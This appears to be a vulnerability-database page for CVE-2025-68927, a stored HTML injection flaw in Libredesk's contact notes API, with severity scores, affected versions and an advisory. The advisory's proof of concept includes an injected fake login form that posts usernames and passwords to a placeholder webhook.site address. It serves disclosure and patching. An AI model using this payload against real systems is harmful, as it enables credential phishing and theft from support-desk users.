7.3high
Improper Neutralization of HTML Tags in a Web Page in libredesk
- Severity
- 7.3high CVSS:4.0 by GitHub_M
- Exploit likelihood
- 0.25% (higher than 17% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-wh6m-h6f4-rjf4GO-2025-4243
Description
Libredesk is a self-hosted customer support desk. Prior to version 0.8.6-beta, LibreDesk is vulnerable to stored HTML injection in the contact notes feature. When adding notes via POST /api/v1/contacts/{id}/notes, the backend automatically wraps user input in <p> tags. However, by intercepting the request and removing the <p> tag, an attacker can inject arbitrary HTML elements such as forms and images, which are then stored and rendered without proper sanitization. This can lead to phishing, CSRF-style forced actions, and UI redress attacks. This issue has been patched in version 0.8.6-beta.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| abhinavxd libredesk | < 0.8.6-beta | CVE List |
| github.com/abhinavxd/libredesk (Go) | before 0.8.6-beta, all versions | GitHub Advisory Database, Go Vulnerability Database |
| libredesk libredesk | before 0.8.6 | NVD |
All scores
| GitHub_M | 7.3high CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P |
| GitHub | high CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P |
| NVD | 6.1medium CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N |
Classification
SSVC (CISA-ADP): exploitation poc, automatable yes, technical impact total.
What each source says
CVE List
Libredesk is a self-hosted customer support desk. Prior to version 0.8.6-beta, LibreDesk is vulnerable to stored HTML injection in the contact notes feature. When adding notes via POST /api/v1/contacts/{id}/notes, the backend automatically wraps user input in <p> tags. However, by intercepting the request and removing the <p> tag, an attacker can inject arbitrary HTML elements such as forms and images, which are then stored and rendered without proper sanitization. This can lead to phishing, CSRF-style forced actions, and UI redress attacks. This issue has been patched in version 0.8.6-beta.
GitHub Advisory Database
Summary
LibreDesk is vulnerable to stored HTML injection in the contact notes feature. When adding notes via POST /api/v1/contacts/{id}/notes, the backend automatically wraps user input in <p> tags. However, by intercepting the request and removing the <p> tag, an attacker can inject arbitrary HTML elements such as forms and images, which are then stored and rendered without proper sanitization. This can lead to phishing, CSRF-style forced actions, and UI redress attacks.
Details
When notes are added through the LibreDesk web application, the client sends note content wrapped inside <p> tags. The backend appears to trust this HTML structure and stores the content as-is.
By intercepting the request to:
POST /api/v1/contacts/3/notes
and removing the <p> wrapper, an attacker can submit arbitrary HTML content. The backend does not sanitize or validate the HTML payload before persisting it.
As a result:
- Arbitrary HTML tags (e.g.,
<form>,<input>,<img>) are stored - The injected HTML is rendered when the notes are viewed in the application
- No server-side HTML sanitization or allowlisting is enforced
This indicates that the application relies on client-side HTML formatting assumptions, which can be bypassed by modifying the request.
PoC
-
Log in to LibreDesk and open any contact.
-
Add a note normally via the UI.
-
Intercept the request to:
POST /api/v1/contacts/3/notes -
Original request body (example):
{ "note": "<p>This is a normal note</p>" } -
Modify the payload by removing the
<p>tag and injecting arbitrary HTML:{ "note": "<form action='https://webhook.site/xxxx' method='POST'> <input type='text' name='username' placeholder='Username'> <input type='password' name='password' placeholder='Password'> <input type='submit' value='Re-authenticate'> </form>" } -
Forward the request.
-
View the contact note in the LibreDesk UI.
Result: The injected HTML form is rendered inside the application.
Impact
This is a stored HTML injection vulnerability affecting any user who can add or view contact notes.
Potential impact includes:
- Credential phishing through injected forms
- CSRF-style forced actions using HTML-only forms
- UI redress and social engineering
- Increased risk if notes are viewed by privileged users (e.g., admins or agents)
If the notes are shared across users or roles, this vulnerability can be abused to target multiple users, increasing severity.
Go Vulnerability Database
Libredesk has Improper Neutralization of HTML Tags in a Web Page in github.com/abhinavxd/libredesk
NVD (es)
Libredesk es un sistema de soporte al cliente autoalojado. Antes de la versión 0.8.6-beta, LibreDesk es vulnerable a la inyección de HTML almacenado en la función de notas de contacto. Al añadir notas a través de POST /api/v1/contacts/{id}/notes, el backend envuelve automáticamente la entrada del usuario en etiquetas <p>. Sin embargo, al interceptar la solicitud y eliminar la etiqueta <p>, un atacante puede inyectar elementos HTML arbitrarios como formularios e imágenes, que luego se almacenan y renderizan sin una sanitización adecuada. Esto puede conducir a phishing, acciones forzadas de tipo CSRF y ataques de suplantación de interfaz de usuario. Este problema ha sido parcheado en la versión 0.8.6-beta.
References
| https://github.com/abhinavxd/libredesk/security/advisories/GHSA-wh6m-h6f4-rjf4 | advisory, exploit, vendor-advisory, web | |
| https://github.com/abhinavxd/libredesk/commit/270347849943ac6a43e9fd6ebdc99c71841900eb | patch, web | |
| https://nvd.nist.gov/vuln/detail/CVE-2025-68927 | advisory | |
| https://github.com/abhinavxd/libredesk | package | |
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2025-68927 changed 2025-12-29 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-wh6m-h6f4-rjf4 changed 2025-12-31 | CC-BY-4.0 |
| Go Vulnerability Database | GO-2025-4243 changed 2026-03-03 | CC-BY-4.0 |
| NVD | CVE-2025-68927 changed 2026-10-07 | Public domain |